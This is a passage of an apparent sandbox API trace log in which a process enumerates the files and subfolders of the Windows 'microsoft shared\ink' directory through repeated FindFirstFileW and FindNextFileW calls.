ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0163.699] SetEvent (hEvent=0x29c) returned 1 [0163.753] ResetEvent (hEvent=0x2a0) returned 1 [0163.759] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0163.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d19d0 [0163.760] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.761] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0163.761] SetEvent (hEvent=0x29c) returned 1 [0163.761] ResetEvent (hEvent=0x2a0) returned 1 [0163.761] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0163.761] FindClose (in: hFindFile=0x1d19d0 | out: hFindFile=0x1d19d0) returned 1 [0163.761] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.761] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0163.761] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0163.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b90 [0163.761] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.762] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0163.762] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0163.762] FindClose (in: hFindFile=0x1d1b90 | out: hFindFile=0x1d1b90) returned 1 [0163.762] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.762] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0163.762] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1 [0163.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d19d0 [0163.762] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.762] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0163.763] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0163.763] FindClose (in: hFindFile=0x1d19d0 | out: hFindFile=0x1d19d0) returned 1 [0163.763] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.763] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0163.763] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0163.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b10 [0163.763] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.764] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0163.764] FindNextFileW (in: hFindFile=0x1d1b10, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0163.764] FindClose (in: hFindFile=0x1d1b10 | out: hFindFile=0x1d1b10) returned 1 [0163.764] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.764] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0163.764] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0163.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1610 [0163.764] FindNextFileW (in: hFindFile=0x1d1610, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.765] FindNextFileW (in: hFindFile=0x1d1610, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0163.765] FindNextFileW (in: hFindFile=0x1d1610, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0163.765] FindClose (in: hFindFile=0x1d1610 | out: hFindFile=0x1d1610) returned 1 [0163.765] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.765] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0163.765] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0163.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1a50 [0163.765] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.765] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0163.766] FindClose (in: hFindFile=0x1d1a50 | out: hFindFile=0x1d1a50) returned 1 [0163.766] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3380088 | out: hHeap=0x6f0000) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0163.766] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0163.766] FindClose (in: hFindFile=0x1d1750 | out: hFindFile=0x1d1750) returned 1 [0163.767] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.767] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="he-IL", cAlternateFileName="")) returned 1 [0163.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d18d0 [0163.768] FindNextFileW (in: hFindFile=0x1d18d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.768] FindNextFileW (in: hFindFile=0x1d18d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.768] FindNextFileW (in: 